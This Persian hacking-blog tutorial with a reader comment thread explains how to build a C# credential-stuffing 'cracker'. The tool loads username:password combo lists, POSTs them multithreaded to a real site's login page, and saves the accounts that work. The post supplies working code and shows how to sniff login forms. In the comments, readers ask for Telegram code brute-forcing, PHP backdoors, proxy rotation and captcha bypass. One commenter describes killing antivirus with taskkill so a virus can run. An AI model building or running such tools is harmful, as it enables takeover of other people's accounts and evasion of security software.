آموزش ساخت کرکر با سی شارپ :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۶ ارديبهشت ۰۳، ۱۶:۱۵ - hidden
    test

قبلا آموزش ساخت کرکر به زبان سی شارپ رو نوشته بودم اما بدلایلی پیش نویس شد و چون مدت زمان زیادی از اون پیش نویس کردنه میگذره و دیدم اگه بخوام بشینم ویرایشش کنم ، حوصلم سر میره ، بخاطر همین تصمیم گرفتم از اول بنویسمش :)

توی این پست حوصله ندارم مثل قبل که آموزش ساخت کرکر گذاشته بودم بشینم و بگم که کرک کردن فلان چیزه و ... چون قطعا اگه سر رشته نداشته باشین این پست بدردتون نمیخوره 

در یک کلام میگم ، کرکر برنامه ای هستش که یه لیستی از نام های کاربری و پسوورد رو از ما میگیره و روی یه سایت خاص تست میکنه ، مثلا لیست نام کاربری و پسوورد رو میگیره و روی سایت اینستاگرام تست میکنه

کرکرها معمولا از چند تا دکمه تشکیل میشن که شامل :

Start - Load Combo - Save Hits - Exit 

میشه

که با زدن دکمه ی Load Combo ما میتونیم اون لیست نام کاربری و پسووردمون رو وارد برنامه کنیم ، با زدن Save Hits در انتهای کار کرکرمون میتونیم اون اکانت های سالم رو ذخیره کنیم و دکمه ی Start و Exit هم همونطور که از اسمشون مشخصه ، یکیش برای خارج شدن از برنامه و یکیشم برای تست اون نام های کاربری و پسوورد روی اون سایت مد نظرمونه

اینم بگم من کدهای همه ی اینارو تند تند میگم چی بزارین تا سریع برسیم به بحث درست کردن کانفیگ ، چون درست کردن کانفیگ توی مباحث ساخت کرکر و ... مهم ترین بخش هستش ، یعنی شما هر بار که میخوای کرکر یه سایتی رو درست کنی ، قبلش حتما باید کانفیگ رو تغییر بدین

خب خیلی سریع یدونه پروژه به زبان سی شارپ ایجاد کنین و مواردی رو که میگم به اون اضافه کنین و ویژگی های Text اون رو به چیزی که گفتم تغییر بدین

اول از همه چهار تا دکمه بزارین و به ترتیب تکستشونو به چیزی که میگم تغییر بدین :

Text button1 ==> Start
Text button2 ==> Load Combo
Text button3 ==> Save Hit
Text button4 ==> Exit

حالا چهار تا برچسب یا همون Label با متن های پایین :

Text Label 1==> Loaded Combo :
Text Label 2 ==> Hits :
Text Label 3 ==> 0
Text Label 4 ==> Checked :

خب حالا یدونه NumricUpDown اضافه کنین و یدونه هم List View اضافه کنین و داخل ویژگی های اون بگردین دنبال چیزی به نام  Columns و وقتی پیدا کردین ، دو تا ستون با اسم های UserName و Password یا Email و Password اضافه کنین که این دو تا وابسته به هر سایتی که شما میزنین هستش و فرقی هم نمیکنه چی بزارین ولی برای اینکه قشنگ شه یا اینکه بهتر متوجه بشیم و ... بهتره که هر چی اطلاعات واسه لاگین شدن توی یه سایت نیاز داریم رو وارد کنیم ، مثلا سایتی که قراره توی این پست کرکرشو بنویسیم Email و Password میخواد که منم اسم جدولامو اینجوری میزارم که بهتر به چشم بیاد

حالا که اینارو ردیف کردین یدونه هم PictureBox بزارین و تصویرتونو داخلش لود کنین تا برنامتون یه خرده قشنگ تر به چشم بیاد 

بعدا دکمه هایی که گذاشتین و ... رو به شکل پایین یه خرده مرتب و منظمشون کنین که قاطی پاتی نشه

خب حالا بریم سراغ کارای دیگمون ...

اول از همه برین قسمت using برنامتون و کتابخونه های پایین رو اضافه کنین به جای هر چی کتابخونه اونجا هستش 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
// --------------------------
using System.IO;
using System.Net;
using System.Threading;

حالا دو بار روی دکمه ی Start کلیک کنین تا قسمت کد نویسی اون باز بشه و کدهای پایین رو داخل اونجا قرار بدین

            int num = (int)numericUpDown1.Value;

            ThreadPool.SetMinThreads(num, num);
            ThreadPool.SetMaxThreads(num, num);
            List.Enumerator enumerator = this.Combolist.GetEnumerator();
            while (enumerator.MoveNext())
            {
                string Current = enumerator.Current;
                ThreadPool.QueueUserWorkItem(delegate(object param0)
                {

                    this.config();
                }, Current);
            }

خب حالا تو همون قسمت کد نویسی برین به اولای کد ، یعنی جایی که کد پایین قرار داره

public partial class Form1 : Form
{

و تکه کد پایین رو اضافه کنین

public List Combolist = new List();

خب حالا به فرم برگردین و اینبار دو دفعه روی دکمه ی Load Combo کلیک کنین تا قسمت کد نویسی اون باز بشه و کدهای پایین رو داخلش قرار بدین

            OpenFileDialog dialog = new OpenFileDialog();
            dialog.Filter = "Text Files|*.txt";
            dialog.Title = "Open Combolist";
            if (dialog.ShowDialog() == DialogResult.OK)
            {
                string[] a = File.ReadAllLines(dialog.FileName);
                this.Combolist.AddRange(a);
                this.label1.Text = "Loaded Combo : "+this.Combolist.Count.ToString();
            }

خب اینم از کد های لود کمبومون ، حالا مجددا به فرم برگردین و دو بار روی دکمه ی Save Hit کلیک کنین تا کدهای اون باز بشه و کدهای پایین رو داخل رویداد دکمه قرار بدین

            using (SaveFileDialog dialog = new SaveFileDialog())
            {
                dialog.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
                if (dialog.ShowDialog() == DialogResult.OK)
                {
                    using (StreamWriter sw = new StreamWriter(dialog.FileName))
                    {
                        foreach (ListViewItem item in this.listView1.Items)
                        {
                            sw.WriteLine("{0}:{1}", item.SubItems[0].Text, item.SubItems[1].Text);
                        }
                    }
                }
            }

حالا فقط موند که کد دکمه ی Exit خودمون رو بزاریم ، برای اینکار به فرم برگردین و بعد از اینکه دو بار روی دکمه ی Exit کلیک کردین و رویداد این دکمه رو باز کردین ، تکه کد پایین رو قرار بدین

            Application.Exit();

خب دیگه قسمتایی که با Copy و Paste ردیف میشد تموم شد و باید وارد عمل شیم برای کانفیگ زدن ...

اگه توی کد های دکمه ی استارت دقت کنین آخرش گفته بودیم بره به متد ()Config اما متد رو تعریف نکرده بودیم که الان میریم برای تعریف کردن ...

اول باید صفحه لاگین سایتی که قراره کرکرشو درست کنیم رو پیدا کنیم ، مثلا من سایت پایین رو قراره کرکرشو درست کنم

thefreedictionary.com

که صفحه لاگینش میشه آدرس پایین 

secure.thefreedictionary.com/Login.aspx

البته من اینجا به دلایلی Http و ... رو نذاشتم ولی شما حواستون باشه ، اونا تو کدهای کانفیگ باید باشن ;)

یه نکته هم بگم که من سایت خیلی ساده ای رو در نظر گرفتم که مبتدی ها یه خرده سرشون گیج نره چون باید کوکی ست میشد و ... بخاطر همین ساده ترین نوع سایت رو در نظر گرفتم که نیازی به ست کردن کوکی نداشته باشه و ... تا کم کم سایت های کلاس بالاتر رو بزنین و پیشرفت کنین

خب حالا به فرم برگردین و دو بار روی دکمه ی Start کلیک کنین تا قسمت کدنویسی اون باز بشه و با اسکرول بار یه خرده برین بالا تر 

یعنی جایی که رویداد کلیک دکمه ی Start تازه میخواد تعریف بشه و قبل از شروع رویداد ، کدهای پایین رو قرار بدین تا بعدش بریم سراغ بررسیشون که چطور میشه یه سایت رو نحوه ی ارسال اطلاعاتشو اسنیف کرد تا بشه توی کانفیگ استفاده کرد

int i = 0;
        public void config()
        {
            try
            {
                string[] array = this.Combolist[this.i].Split(new char[]
                    {
                        ':'
                    });
                
                string username = array[0];
                string password = array[1];
                this.i++;
                label4.Text = "Checked : " + i.ToString();

                string s = string.Concat(new string[]
                {
                    "usrName="+username+"&usrPwd="+password
                });
                
                CookieContainer cookie = new CookieContainer();
                byte[] bytes = new UTF8Encoding().GetBytes(s);
                HttpWebRequest web = (HttpWebRequest)WebRequest.Create("https://secure.thefreedictionary.com/Login.aspx");
                web.Method = "POST";
                web.KeepAlive = false;
                web.CookieContainer = cookie;
                web.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
                web.Referer = "https://secure.thefreedictionary.com/Login.aspx";
                //web.Host = "سایتی که من هدرشو در آوردم هاست نداد اما اگه شما داشتین بزارین اینجا";
                web.ContentType = "application/x-www-form-urlencoded";
                web.UserAgent = "Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36";
                web.ContentLength = (long)bytes.Length;
                Stream webstr = web.GetRequestStream();
                webstr.Write(bytes, 0, bytes.Length);
                webstr.Close();
                HttpWebResponse res = (HttpWebResponse)web.GetResponse();
                cookie.Add(res.Cookies);
                string source = new StreamReader(res.GetResponseStream()).ReadToEnd();
                if (source.Contains("Log out"))
                {
                    string[] items = new string[]
                    {
                        username,
                        password
                    };
                    ListViewItem value = new ListViewItem(items);
                    this.listView1.Items.Add(value);
                    this.label3.Text = this.listView1.Items.Count.ToString();


                }

            }


            catch
            {

            }
        }

خب دیگه بریم سراغ بررسی کانفیگ تا جاهایی که نیازه رو توضیح بدم

try و catch که میدونین چی هستش ؟ اگه نمیدونین این پست رو بخونین ...

در کل برای مدیریت خطا تو برنامه هسسش :) یعنی مثلا اگه اینترنت قطع شد یا ... ، برنامه ارور نده و برنامه بسته نشه

خب ...

بعد از try و catch اومدیم و یه آرایه تعریف کردم و کمبو رو دو تیکه کردیم که با مساوی جدا میشه و پایین تر گفتیم که اولین خونه از آرایه بره توی یه متغیر رشته ای با نام username و دومین تیکه رو هم بریزه داخل یه متغیر دیگه تحت عنوان password 

بعدا از string.Concat برای چسبوندین چند تا رشته به هم استفاده کردیم که شما باید تغییرش بدین که قبلش باید اطلاعات ارسالی رو اسنیف کنین که ببینین این اتفاق چطور رخ میده

برای اینکار یه اکانت چرت و پرت تو اون سایت مد نظرتون ایجاد کنین که من سایت مد نظرم رو گفته بودم و بعد از اینکه با اون اطلاعات توی اون سایت لاگین شدین و دیدید که سالمه از تو سایت خارج یا همون Logout بشین و مجددا برین قسمتی که لاگین میشن و اطلاعات خودتون رو وارد کنین اما دکمه ی لاگین رو نزنین ، بلکه توی اون صفحه کلیک راست کنین و گزینه ی Inspect رو بزنین و برین به سر برگ Network و دکمه ی لاگین رو بزنین تا با اطلاعات وارد شده لاگین بشه و وقتی چیزی به نام Login یا همچین چیزایی پیدا کرد ... سریع روش یه کلیک کنین تا جد و آباد نحوه ی ارسال اطلاعات رو بده دستمون :)

که به اینکار میگن اسنیف و این اسنیف کردن هر جایی یه کاربرد داره و اینو یادتون باشه اسنیفر ها هر کاری ازشون بر میاد :)

خب بیخیال ، اونجا وقتی چیزی به نام Login یا یه همچین چیزایی دیدین ، سریعا روی اون بزنین تا نحوه ی ارسال اطلاعات رو به ما بگه و شما هم سریعا اسکرول رو بکشین پایین و بگردین دنبال چیزی به نام Form Data که عکسشو هم پایین براتون قرار میدم و روی View source بزنین تا بصورت سورس شده بهتون نشون بده

خب حالا وقتی که اونو زدین ( View source ) رو 

اطلاعات ما بصورت زیر نمایش داده خواهد شد که ما هم از اون باید برای نوشتن اینکه اطلاعاتمون بصورت ایمیل و پسوورد ارسال بشه سمت وب یا نام کاربری و پسوورد ارسال بشه سمت وب و ... استفاده کنیم

شما هم توی ساخت کرکر باید این قسمت رو بررسی کنین ببینین نام کاربری یا ایمیلتون جلوی چی قرار میگیره و ...

مثلا برای من اینجوری قرار گرفته بود که تو کد های کانفیگ اگه نگاه کنین منم به این شکل نوشتم و فقط آخرشو پاک کردم

حالا توی همون صفحه که داشتین اطلاعات ارسالی رو اسنیف میکردین ، بگردین دنبال Request headers و مواردی که تو کانفیگ و اونجا قرار داره رو پاک کنین ، فقط دقت کنین KeepAlive تو بعضی سایتا برابر با true هستش و تو بعضی از سایتا هم که نشون نمیده باید مثل من بزارین false و ... 

در کل داخل اون قسمت Request headers که الان هم عکسش رو میدم ، هر چی که لازمه رو پیدا کنین و کدهای کانفیگ رو تغییر بدین

خب این از قسمت کانفیگ 

فقط یه کوچولو در مورد اون آخرش که نوشته Log out یه توضیح بدم !!!

تو کدهای بالاتر اون Log out ما دستور دادیم که برنامه سورس صفحه رو بخونه ، خب ؟ ....

بعدا اگه دقت کرده باشین وقتی توی یه سایتی لاگین میشین وقتی که وارد شده باشین مینویسه خروج یا Log out که ما هم از طریق این یه کلمه به برناممون دستور میدیم که متوجه بشه یه اکانت سالمه یا نه 

چونکه وقتی اطلاعات ما سمت اون وبسایت فرستاده میشه و یهویی لاگین میشه و برنامه با اون کلمه رو برو میشه ، برنامه متوجه میشه که اون اکانت سالمه و در نتیجه اون رو داخل List view نشون میده و یدونه هم به برچسب هیت اضافه میکنه که شما هم باید تو سایتی که کرکرشو مینویسین ، یه لاگین بدین و ببینین که چی هستش تا برنامه اشتباه نکنه چون اگه اون کلمه رو از خودتون بزنین امکان اینکه برنامه درست کار نکنه صد در صده

خب دیگه چیزی به ذهنم نمیرسه 

موفق باشید

نظر (۵۴)

افنر , افنر D:
افنر , افنر D:
Salam dash khobi
میخواستم ببینم امکان ساخت کرکر برای کد پنج رقمی تلگرام هست
اگر هست لطفا به زبان c یا cpp یا python بگید غیر csharp
Csharp هم اشکال نداره ولی اون سه زبان بهتره
با تشکر X
Virus32 MR_C0D3R ‌ :
سلام ممنون
میتونم کدی بنویسم که پسوورد پنج حرفی و عددی تولید کنه
بعدا توی کادر وارد کردن پسوورد عددی تلگرام تست کنه
اما کد نویسی به کنار ، مطمئنم این روش جواب نمیده
چون اونایی که پشت امنیت تلگرام بودن ، مطمئنن اینکار رو انجام دادن
و میدونن که از طریق این روش نمیشه
داداش بگو امتحانش مجانیه
راستی تو php اگه ممکنه جواب سوالمو بدید
اموزش ساخت backdoor php را میخوام
برای هک ویندوز اگه برای اندروید بلدید که چه بهتر
داداش اگه عملی بشه خیلی خوبه چون کلن اگه حساب کنید جمعا 90000 عدد پنج رقمی داریم و این ارزش امتحان داره
Virus32 MR_C0D3R ‌ :
پس با سی پلاس پلاس باشه بهتره
چون پایتون برای اینکار سرعتش پایینه
میتونی اموزششو به ایمیلم بفرستی
arazavi000111@gnail.com
Virus32 MR_C0D3R ‌ :
آموزش چی ؟
کد های واس کرک تل....
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
**** ***** *** *** *** *** ****
Virus32 MR_C0D3R ‌ :
سلام
مرکز مدیریت خودت رو چک کن
اوکی دیدم بیا اونجا بحرفیم...
در جواب دوستمون ... که کد پنج رقمی تلگرامو میخواست کرک کنه باید بگم

برنامشو درست کردم اما عیب کار اینه که هربار ی یوزر به این مرحله میرسه

ی کد مخصوص با هشتگ فعال بهش اختصاص پیدا میکنه ...

یعنی حتی اگه بر فرض همه اعداد پنج رقمی روی کره زمین رو بدیم تا برنامه

واسمون کرک کنه ی فیلد که داخل سورس کد وب سروره تلگرامه و قابل مشاهده نیست ( یعنی دسترسی نداریم ) مربوط به هشتگ با ی ضریب خاصیه که هربار ضرایب و جهات هشتگ در هر یوزر تغییر میکنه یعنی اون کد پنج رقمی اگه اون هشتگ ها نبود اصلا بی فایده بود
Virus32 MR_C0D3R ‌ :
مرسی :)
  • Virus32
  • مزاحم۳۲ (O_o سابق)
  • سلام عزیز خیلی وقت بود مزاحمتون نشده بودم. گفتم بیام یکم سوال کنم تا خودمو خالی کنم. راستی تغییر دکوراسیونم چطوره از O_o به مزاحم ۳۲
    ولش کن داشی
    دوتا سوال داشتم
    اولیش اینکه چجوری توو ویژوال استادیو سی شارپ شکل باتن رو تغییر بدیم یعنی دایره یا هرشکلی دیگه بشه که از حالت مستطیلی دربیاد.
    دومیش اینکه چجوری بدون اینکه پروژه ای رو استارت کنیم توو پوشه Debug/bin ذخیره کنیم. چون اگه بخوایم ویروس بنویسیم نمیتونیم استارتش کنیم و ذخیره نمیشه.
    امیدوارم تونسته باشم منظورم رو واضح بیان کنم.
    دوستتون دارم. به امید دیدار دوباره.

    Virus32 MR_C0D3R ‌ :
    سلام
    برای گذاشتن اشکال گرافیکی مثل همون دایره که خودت گفتی
    میتونی یدونه PictureBox بزاری و بعد از اینکه شکل مورد نظرتو دادی بهش
    رویداد مورد نظرشو براش باز کنی و ...
    مثلا بگی وقتی روش کلیک شد فلان بشه
    یا اینکه یه شکلی رو بزاری کنار دکمت و در آخر اینکه میتونی از کامپوننت ها استفاده کنی
    من همین سه تا روش رو میدونم
    حالا ، سوال دوم
    چرا نمیتونی استارت کنی و ذخیره نمیشه ؟
    میتونیم فقط Build کنیم
  • Virus32
  • Mozahem32 (سابقO_O)
  • مرسی عزیز هر دو مشکلم رفع شد. نمیدونم چجوری ازت تشکر کنم...
    شرمنده عزیز دوتا سوال دیگه :)
    حالا بریم به ++C هم سری بزنیم...
    1- توو سی پلاس پلاس چجوری میشه به پروژه Win32 Console Application آیکون داد؟

    و سوال دوم اینکه چه طور میشه با سی پلاس پلاس نت پد رو باز کرد جوری که توو نت پد یه متن دلخواه نوشته شده باشه.
    من با کمک پست ویروس نویسی سی پلاس پلاس (http://virus32.blog.ir/post/%D8%B4%D8%B1%D9%88%D8%B9-%D9%88%DB%8C%D8%B1%D9%88%D8%B3-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D8%B3%DB%8C-%D9%BE%D9%84%D8%A7%D8%B3-%D9%BE%D9%84%D8%A7%D8%B3)
    تونستم نت پد رو باز کنم ولی هرچی سعی کردم نتونستم کاری کنم که تووش متنی نوشته شده باشه. مثلاً نت پدی باز بشه که تووش بنویسه virus32
    امیدوارم منظورم رو واضح بیان کرده باشم.
    قربونت برم
    موفق باشی
    Virus32 MR_C0D3R ‌ :
    بهتر بود سوالاتو زیر پست های سی پلاس پلاس یا اینجا بپرسی
    سوال اولتو بهتره که در قالب یه پست بنویسم تا عمومی باشه توضیحاتش
    سوال دومتو هم اگه بخوای نوت پد باز بشه و یه متنی داخلش تایپ بشه
    من نمیدونم باید چیکار کنی ، اما اگه میخوای یه فایل متنی ایجاد بشه
    که داخلش متن مورد نظرتو نوشته ، میتونیم از کد پایین استفاده کنیم
    اول کتابخونه ی fstream رو اضافه کن که برای کار با فایل ها و ... هستش
    بعدا تو تابع main کدهای پایین رو اضافه کن
        fstream v32 ("Mozahem.txt",ios::out);
    if(!v32)
    {
    cerr<<"File Sakhte Nashod"<<endl;
    }
    v32 << "Http://ViRus32.Blog.IR;
    سلام داداش کدر عزیز. با امید سلامتی تو و داداش ویروس .
    میخواستم بپرسم:
    چه جوری توو سی شارپ کاری کنیم که وقتی کاربر تووتکست باکس چیزی نوشت ، اون متن توو نت پد سیو بشه؟؟ مثل دیتابیس

    یه سوال دیگه هم اینه که چجوری توو دیتابیس اکسس تغییرات ایجاد کنیم با سی شارپ. مثل حذف یا اضافه کردن ستون و اطلاعات و...
    Virus32 MR_C0D3R ‌ :
    جواب سوال اول
    برای جواب سوال دومت : اینجا و اینجا و اینجا
    سلام داداش ممنون بابت پستای اموزشیت دو تا سوال داشتم اولیش اینکه یسری سایتا هستن که اگه براشون کرکر درست کنیم ایپی ک وارد میشه روبعد از چن بار لوگین بلاک میکنن پس باید ی دکمه یا تکست باکس بزاریم برا لود پروکسی لیست یا پروکسی url اگه امورشو لطف کنی ممنون میشم سوال دوم هم برا سایتای ک کپچا دارن طریقه مچ کردن کرکر ک نوشتیم با کپ مانستر به چه صورته که کپچا هارو با ماجول خودش سالو کنه ینی اینکه کپمانستر رو چجوری با برنامه فراخوانی کنیم برا سالو کپچا
    ممنون
    Virus32 MR_C0D3R ‌ :
    سلام
    لود پروکسی رو به همین پست اضافه میکنم
    دومی رو هم با سنتری بلدم و با سی شارپ نمیدونم چطور میشه اینکارو کرد
    که اونو دیگه نمیتونم یادش بدم
    سلام
    من برنامه رو کمپایل کردم حالا میخوام ایکونشو تغییر بدم...
    وقت داری یکم راهنمایی کنی؟
    Virus32 MR_C0D3R ‌ :
    سلام
    توی ویژگی های فورم یه چیز هست به نام Icon
    اونو که بزنی
    میتونی آیکون برنامتو تنظیم کنی
    thnx
    سلام ممنون کی اموزش پروکسی و قرار میدی داداش
    Virus32 MR_C0D3R ‌ :
    پروکسی
    سلام مجدد منظورم از امورش پروکسی منظورم چکریه که یاد دادی اپشنی بهش اضافه کرد که بشه با پروکسی کار کنه در واقع کد نویسیش چکر با پروکسی منظورمه
    Virus32 MR_C0D3R ‌ :
    آهان
    اوکی کارم که راه افتاد در رابطش مینویسم ( تو جواب همین کامنت )
    سلام کدرجون چطوری داداش؟
    مزخواستم بپرسم توو سی شارپ چطوری از کیبورد استفاده کنیم. مثلا من میخوام وقتی کاربر روی باتن کلیک کرد دکمه alt+shift کیبورد فشار داده بشه تا زبان عوض بشه. یا کارای دیگه...
    مرسی
    Virus32 MR_C0D3R ‌ :
    سلام
    برای اینکار نیازی نیست از کیبورد استفاده کنی
    ویندوز خودش یه Api داره به نام 
    ActivateKeyboardLayout
    
    که داخل user32 هستش
    توی نت سرچ کن ، نحوه استفادشو برات میاره
    چون من وقت ندارم برات بنویسم و تست کنم و ...
    فقط کد : 1065 برای زبان فارسی
    کد 1033 هم برای زبان انگلیسی هستش
    کلاً میشه با سی شارپ از کیبورد استفاده کرد؟
    خارج از برنامه ای که داریم مینویسیم.
    میخوام اول با کد Taskkill / im egui.exe آنتی ویروس رو غیر فعال کنم ولی مشکل اینجاست که سوال میپرسه میخوام از کیبورد استفاده کنم تا با سی شارپ به کیبورد دستور بدم دکمه Alt+TAB رو بزنه بعد TABرو بعد Enter رو بزنه. دوباره که اینکار تکرار بشه آنتی ویروس بسته میشه.
    نمیدونم چجوری به کیبورد دستور بدم، راهی داره؟؟
    Virus32 MR_C0D3R ‌ :
    میشه انجام داد اما خودت باید انجامش بدی
    چون انجام دادنش خارج از حوصله ی منه
    از یه طرف خودمم باید روش کار کنم
    اما چون الان لازمته خودت که پیشو بگیری 
    مطمئنم پیدا میکنی
    سلام
    داداش ایمجا یه مشکلی هست اینه
    public List Combolist = new List();
    یعنی نتونستم حل کنم اینطوری تغییرش دادم

    یا int کردم حل نشد بیزحمت یه نگا بکنید
    Virus32 Virus 32 :
    سلام راستش من تست نکردم ولی فکر کنم اینجوری تعریف کنیم بهتر باشه
    public List<string> Combolist = new List<string>();
    درست یا اشتباهش رو بهم خبر میدی؟ :)

    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام دوباره اره استرینگ هست ولی هیچ اقدامی نمیکنه ببنی من درستش کردم بیزحمت یه نگا بکن
    **********************************************************
    Virus32 Virus 32 :
    سلام
    تعریفی که کردی درسته
    یعنی این :
    public List<string> xxx = new List<string>(); 
    ولی دوجا مشکل هست یکی مشکل خودت یکی مشکل از ما
    تو فایل تکست باکست یوزرنیم رو با : از پسوورد باید جدا کنی
    یعنی به شکل زیر
    123456:sasasasaas
    چون تو کدها اینجوری دستور داده شده
    string[] array = this.Combolist[this.i].Split(new char[]
    {
    ':'
    });

    string username = array[0];
    string password = array[1];
    میتونی اینجا بجای : از هر کارکتر دیگه ای مثلا , استفاده کنی
    اشتبا بعدی تو این قسمته
    ThreadPool.QueueUserWorkItem(delegate(object param0)
    {
    this.config();
    }, Current);
    اینجا نمیدونم چرا جایی برای برگشت به param0 تعریف نشده
    در کل در این قسمت این کد رو موقتا بردار تا وقتی که روش کار کنم و اصلاحش کنم
    int num = (int)numericUpDown1.Value;

    ThreadPool.SetMinThreads(num, num);
    ThreadPool.SetMaxThreads(num, num);
    List.Enumerator enumerator = this.Combolist.GetEnumerator();
    while (enumerator.MoveNext())
    {
    string Current = enumerator.Current;
    this.config();
    }
    کدهای بالا رو برای دکمه استارت تعریف کن.
    برای تست تو فایل پسوورد لیستت تعداد کمتری رمز و نام کاربری تعریف کن و بعد از لود کردن کمبو و زدن دکمه استارت صبر کن تا عملیات تموم شه
    وقتی تموم شد باید تعداد چک شده ها رو تو لیبل مربوطش بنویسه برات (تا وقتی که ننوشت دکمه ی دیگه ای رو فشار نده)
    این برنامه اونجوری که باید باشه نیست
    بهتر بود براش یه پروسس بار تعریف میشد تا روند عملیات نمایش داده بشه
    بهتر بود بعد از زدن دکمه ی استارت کل دکمه های دیگه رو غیر فعال میکرد تا پایان عملیات
    تا وقتی که کمبو بارگزاری نشده نباید دکمه استارت فعال بشه
    و ...

    سلام یه قسمت از کد ها مشکل داره  

                int num = (int)metroTrackBar1.Value;

                ThreadPool.SetMinThreads(num, num);
                ThreadPool.SetMaxThreads(num, num);
                list".Enumerator enumerator = this.Combolist.GetEnumerator"();


    کلمه لیست ارور میده
    Virus32 MR_C0D3R ‌ :
    سلام عزیز
    کامنتارو که بخونی متوجه میشی...
    سلام ..داداش ممنون از سایت خوبت
    داداش نمیدونم چرا ولی هرچی کد ها هرو میزنم قرمز میشه و خطا میده با اینکه ارم کپی و پیست میکنم ....نت فریم ورک هم 3.5 هستش و از نسخه 2013 ویژوال استادیو استفاده میکنم........میشه راهنمایی کنید.......باتشکر

    Virus32 MR_C0D3R ‌ :
    سلام
    رنگ قرمز که به خیلی چیزا بستگی داره
    مثلا اضافه نکردن کتابخونه ها و غیره....
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

    سلام چطوری؟

    میتونی تو کانال تلگرامی ما فعالیت کنی

    کانال های کوروش هک و.... میشناسی

    ایدی تلگراممه یه سر بزن

    *********

    Virus32 MR_C0D3R ‌ :
    سلام ، ممنون
    تو کانالای هک و کرک زیادی عضوم
    فک کنم قبلا یه چیزی به نام کوروش هک دیده بودم تو کانالام
    راستیتش من زیاد نمیتونم فعالیت کنم
    اینجا رو هم به زور هر از چند گاهی یه پست میزارم
    اگر مشکلی با عدم فعالیت نداری
    مشکلی نیست از قسمت تماس با ما آی دیمو بردار باهام در ارتباط باش...

    سلام

    باز چی شده که مستر کدر رفته تلگرام؟

    هنوز ایدیشم گذاشته توی صفحه تماس با ما O_O

    با سلام و خسته نباشید میگم که به جای این کد :

    public List Combolist = new List();

    میتوانید این کد را بنویسید.

    Private List<string> combolist = new List<string>();

    Virus32 Virus 32 :
    Private List<string> combolist = new List<string>();

    سلام و عرض ادب لطفا می تونید اسنیف کردن سایت رو هم یاد بدید

    Virus32 MR_C0D3R ‌ :
    سلام
    راستیتش فعلا حس و حال نوشتن پست رو ندارم
    اما میتونی از نرم افزار Http Debuger استفاده کنی برای اینکار
    استفاده از برنامه هم هیچکاری نداره و یه خرده که دستکاری کنی نحوه ی کار با اون میاد دستت
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

    ** ***** ** ***** ***** //:

    Virus32 Virus 32 :
    بی ادب
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

    تلگرام داری؟خیلی واجبه **********
    پول توشه

    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

    تلگرام داری؟خیلی واجبه **********
    پول توشه

    Virus32 Virus 32 :
    نه
    مرسی ممنون ♥

    سلام عیدتون مبارک من یه سوال داشتم درمورد کرکر نویسی 

    شما فرض کن من توی یه سایتی لاگین کردم با سی شارپ بعد می خوام کوکی رو که سایت بهم داد رو ببینم بعد اون رو یه جای دیگه توی کرکر استفاده کنیم برای لاگین 

     

     

    ممنون میشم جواب بدی 

    Virus32 MR_C0D3R ‌ :
    چند تا اسم داری ؟

    من یه دفعه با اسم علی پیام دادم حالا چرا ناراحت میشی؟ 

    Virus32 Virus 32 :
    ناراحت نشد چون سوالت خیلی مبهم بود اونم یه سوال پرسید ازت :)
    با چه متدی لاگین شدی؟ با چه متدی کوکی هارو گراب کردی؟

    سلام ویروس

    کلا من هرچی کرکر نوشتم بدون کوکی بوده بهترین روش استفادش چیه من دارم یه کرکر می نویسم کانفیگ سایت کوکی نیاز داره

    Virus32 Virus 32 :
    سلام عزیز
    منم اکثرا بدون کوکی میسازم چون از متد post زیاد استفاده نمیکنم
    بهترین روشش رو نمیدونم!

    سلام جناب خسته نباشید جدا دمتون گرم:

    میشه اموزش کانفیگ اینستاگرام رو هم بزارید.؟

     

    سلام و خسته نباشید

    این کد رو ازم ایراد میگیره

    public List<string> Combolist = new List<string>();

    کمبو لیست رو ایراد میگیره همه آ»وزش و کامنتا هم خوندم اگه میشه کمک کنید

    ممنون

    Virus32 Virus 32 :
    سلام ممنون
    چه ایرادی میگیره؟
    متن خطا رو کپی کنید

    Inconsistent accessibility: field type 'insta_cracker.List' is less accessible than field 'insta_cracker.Form1.Combolist'    

    اینه ارورش

    Virus32 Virus 32 :
    از کدهای زیر استفاده کن
    List<string> Combolist = new List<string>();
    اگه نشد
    insta_cracker.List<string> Combolist = new insta_cracker.List<string>();
    این خطا دلایل زیادی میتونه داشته باشه
    در کل بخاطر اینه که شی معرفی شده با پروژه تداخل هایی داره
    مهم ترین دلایل :
    ممکنه بخاطر public بودن دستورت باشه
    بصورت عمومی تعریف کرده بودی و چون کلاس فرم ها هم عمومی هستن بعضی وقتا تداخل پیش میاد (البته نه همیشه) که در این مورد باید تعریف کنیم که کلاس جدید یا متد جدید یه تعریف داخلی هست
    شی که تعریف کردی نمیتونه والد خودش رو پیدا کنه
    که در این مورد باید ابتدا نام پروژه رو بنویسی و بعد اسم شی مورد نظرت
    جایی که متد رو تعریف کردی اشتباهه
    این متد باید توی کلاس اصلی باشه
    دستور رو تو ویژوآل استودیو 2019 و 2013 تست کردم مشکلی نداشت!

    من کلا کلاسی براش تعریف نکردم(تو اموزش نگفته بودین)

    من مبتدی هستم و زیاد وارد نیستم بهش

    این دوتا کد هم گزاشتم بازم ارور داد

    فقط من وقتی کد رو وارد کردم کلمه لیست رو ازم خواست که به عنوان کلاس تعریف کنم اما توش چیزی ننوشتم

    اگه میشه بگین توی اون چی باید بنویسم؟

    Virus32 Virus 32 :
    منظورم کلاس خود فورم ها بود اون خودش هست و باید باشه دیگه
    اون مشکل رو کلی توضیح داده بودم فکر میکردم به برنامه نویسی واردی
